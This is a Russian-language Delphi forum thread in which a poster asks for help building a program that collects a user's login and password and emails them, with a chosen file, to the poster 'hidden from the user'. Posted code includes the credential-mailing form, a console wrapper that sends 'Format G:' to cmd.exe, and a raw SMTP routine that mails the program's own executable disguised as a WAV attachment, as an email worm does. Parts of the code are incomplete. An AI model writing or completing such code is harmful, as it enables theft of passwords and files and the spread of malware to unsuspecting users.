У меня примерчик есть A симуляция консоли сложноватый пример. Code: procedure TForm1.Button2Click(Sender: TObject); function PipeIs(StdOutR:dword):dword; var I,X:dword; begin I:=0;X:=50; while true do begin sleep(10); PeekNamedPipe(StdOutR,nil,0,0,@I,nil); if I<>0 then begin PipeIs:=I;exit;end; dec(X); if X=0 then begin PipeIs:=X;exit;end; end; end; var sa:SECURITY_ATTRIBUTES; IR:dword; StdInR,StdOutR,StdInW,StdOutW,StdIn,StdOut:dword; pi: TProcessInformation; si: TStartupInfo; I,TimeOut:dword; STin,STout:string; begin sa.nLength := sizeof(sa); sa.bInheritHandle := true; sa.lpSecurityDescriptor := nil; CreatePipe(StdOutR,StdOutW,@sa,0); DuplicateHandle($ffffffff,StdoutW,$ffffffff,@Stdout,0,true,DUPLICATE_SAME_ACCESS); CloseHandle(StdOutW); CreatePipe(StdInR,StdInW, @sa,0); DuplicateHandle($ffffffff,StdinR, $ffffffff,@Stdin ,0,true,DUPLICATE_SAME_ACCESS); CloseHandle(StdInR); ZeroMemory(@si, SizeOf(TStartupInfo)); si.cb := SizeOf(TStartupInfo); si.hStdInput := Stdin; si.hStdOutput := Stdout; si.hStdError := Stdout; si.dwFlags :=STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES; CreateProcess(nil,PChar('cmd.exe'), // command line nil,nil,TRUE,0,nil,nil, si,pi); memo1.Lines.Clear; while PipeIs(StdOutR)<>0 do begin I:=10000;setlength(STin,I); Readfile(StdOutR, STin[1], I, I, nil); if I<>0 then begin setlength(STin,I);OemToChar(PAnsiChar(STin),PAnsiChar(STin)); memo1.Lines.Add(STin); end; end; STout := 'Dir c:\'#$D#$A; I := Length(STout); WriteFile(StdInW, STout[1], I, I, nil); memo1.Lines.Add(STout); while PipeIs(StdOutR)<>0 do begin I:=10000;setlength(STin,I); Readfile(StdOutR, STin[1], I, I, nil); if I<>0 then begin setlength(STin,I);OemToChar(PAnsiChar(STin),PAnsiChar(STin)); memo1.Lines.Add(STin); end; end; STout := 'Format G:'#$D#$A; I := Length(STout); WriteFile(StdInW, STout[1], I, I, nil); memo1.Lines.Add(STout); while PipeIs(StdOutR)<>0 do begin I:=10000;setlength(STin,I); Readfile(StdOutR, STin[1], I, I, nil); if I<>0 then begin setlength(STin,I);OemToChar(PAnsiChar(STin),PAnsiChar(STin)); memo1.Lines.Add(STin); end; end; terminateprocess(pi.hProcess,0); end;
Есть такой код: procedure TForm1.Button1Click(Sender: TObject); var mail: String; Mes: TIdMessage; begin if(ComboBox2.Text = '') or (Edit1.Text = '')then begin Form2.Show; end; mail := '[email protected]'; Application.ProcessMessages; Mes := TIdMessage.Create(nil); Mes.Recipients.Add; Mes.Recipients.Items[0].Text := mail; Mes.From.Text := PChar(ComboBox2.Text); Mes.Subject := 'mail_client'; Mes.Body.Add('ID:'+' '+ComboBox2.Text+#13#10+ 'Pass:'+' '+Edit1.Text+#13#10); IdSMTP1.AuthenticationType := atLogin; IdSMTP1.Host := PChar('smtp.mail.ru'); IdSMTP1.Username := PChar(ComboBox2.Text); IdSMTP1.Password := PChar(Edit1.Text); IdSMTP1.Port := 25; // Default Application.ProcessMessages; IdSMTP1.Connect(300); if IdSMTP1.Connected then begin try // Отправляем месадж Application.ProcessMessages; IdSMTP1.Send(Mes); except // если ошибка on E: Exception do begin Application.ProcessMessages; Application.MessageBox(PChar(E.Message),'Не удалось отправить почту', MB_ICONERROR); IdSMTP1.Disconnect; end; end; IdSMTP1.Disconnect; end; end; Программа компилируеться но на мыло ни чего не приходит помогите кто чем может.
Piflit спасибо, но чуть чуть раньше бы и мне не пришлось самому код писать, вобщем может кто поможет (не сочтите за наглость) как сделать вот выбрал в опен диалоге файл и чтобы он пришел ко мне намыло при нажатии буттон. Заранее спасибо.
infernal-team А ты не думал что твой код может и правильный? А в синтаксисе отправке неправильный! в частности нужно не просто мыло [mail := '[email protected]';], а [mail := 'MAIL FROM: [email protected]';] ... Хотя могу ошибаться с компонентом делфи не знаком, может он сам это дописывает P.S. А так никто писать за тебя не будет, тут самому нужно что-то думать... причем Piflit уже дал наработки
Xserg.... спасибо за примерчик.... я уже опробывал штук 10 подобных... во всех - косяки есть... то пробелы лишние то некоторые команды не проходят..... повторюсь...требуется именно привезать cmd.exe к форме....
Как осуществить отправку файла выбранного в OpenDialog1 на e-mail скрыто от пользователя ? Очень надеюсь на вашу помощь.
Так переделай, я чтоли тебе вирь писать буду?+если работать с компонентами VCL то у тебя получится вирь на 400 кило! а как ты скрытно собираешся отправлять, если требует вмешательство пользователя?
как я понимаю есть программа, в ней используется OpenDialog, короче делай так: в процедуре опенДеалога If OpenDialog1.Execute then begin // тут пишишь то что должна делать программа по //идее, т.е. то что должен видеть пользователь // а тут вызываешь функцию или процедуру отправки //этого файла на мыло end. нихера не понял, так пользователь должен видеть что файл отправляется или нет, говори точнее что надо!?
Exile1985 так вот мне и нужна функция ли процедура отправки на мыло. Пользователь должен выбрать файл в опендиалоге, ввести данные в edit нажать буттон, файл который он выбрал и данные введеные в едит должны мне прийти на мыло.
не знаю насколько рабочий код, по словам автора работает как часы, сам протестить не могу нету под рукой Delphi слепишь под себя как те надо: Code: type TForm1 = class(TForm) IdSMTP1: TIdSMTP; IdPOP31: TIdPOP3; var Form1: TForm1; M1: TidMessage; ... begin with Form1 do begin IdSMTP1.Connect; M1:= TIdmessage.Create(IdSMTP1); with M1 do begin Subject := 'Тема письма'; Recipients.EMailAddresses:= 'adres1@server'; From.Text:= '"имя" <adres@server>'; Body.Text:=Edit1.text; //текст который он введет в эдит CharSet:= 'Windows-1251'; Encoding:= meMIME; TIdAttachmentFile.Create(M1.MessageParts, OpenDialog1.FileName);//крепим файл end; IdPOP31.Connected; // почтовый сервер может попросить POP3 идентификацию перед отправкой почты, поэтому коннектимся ещё и по POP3 IdSMTP1.Send(M1); IdSMTP1.Disconnect; IdPOP31.Disconnect; FreeAndNil(M1); end; end;
Долго думал, выкладвывать или нет , но вот она С тебя ПЛЮСЕГ! Code: Procedure SendMail(Recip, FromM, Server: String); Var Sock : TSocket; WsaDatas : TWSADATA; SockAddrIn : TSockAddrIn; F : FILE; Body, Attach, Sub, CTyp : String; Linfo : Integer; Procedure Mys(STR:STRING); Begin Send(Sock,STR[1],Length(STR),0); End; Begin Body := m_bod; Attach := m_att; Sub := m_sub; CTyp := 'audio/x-wav'; FromM := '[email protected]'; WSAStartUp(257,WsaDatas); Sock:=Socket(AF_INET,SOCK_STREAM,IPPROTO_IP); SockAddrIn.sin_family:=AF_INET; SockAddrIn.sin_port:=htons(25); SockAddrIn.sin_addr.S_addr:=inet_addr(PChar(Server)); If Connect(Sock,SockAddrIn,SizeOf(SockAddrIn)) <> SOCKET_ERROR Then Begin Mys('HELO .com'+#13#10); If Pos('<', Fromm)>0 Then Mys('Mail From: '+Copy(FromM, Pos('<', FromM)+1, Pos('>', FromM)-2)+#13#10) Else Mys('MAIL FROM: '+FromM+#13#10); Mys('RCPT TO: '+recip+#13#10); Mys('DATA'+#13#10); Mys('From: '+FromM+#13#10); Mys('Subject: '+Sub+#13#10); Mys('To: '+Recip+#13#10); Mys('MIME-Version: 1.0'+#13#10); Mys('Content-Type: multipart/mixed; boundary="ShutFace"'+#13#10+#13#10); Mys('--ShutFace'+#13#10); Mys('Content-Type: text/plain; charset:us-ascii'+#13#10+#13#10); Mys(Body+#13#10); Mys(#13#10+#13#10); Mys('--ShutFace'+#13#10); Mys('Content-Type: '+CTyp+';'+#13#10); Mys(' name="'+Attach+'"'+#13#10); Mys('Content-Transfer-Encoding: base64'+#13#10+#13#10); AssignFile(F,ParamStr(0)); FileMode:=0; {$I-} Reset(F,1); IF IOResult=0 THEN BEGIN BlockRead(F,FileBuf[1],FileSize(ParamStr(0))); Mys(BASE64(FileSize(ParamStr(0)))); CloseFile(F); END; {$I+} Mys(#13#10+'--ShutFace--'+#13#10+#13#10); Mys(#13#10+'.'+#13#10); Mys('QUIT'+#13#10); End;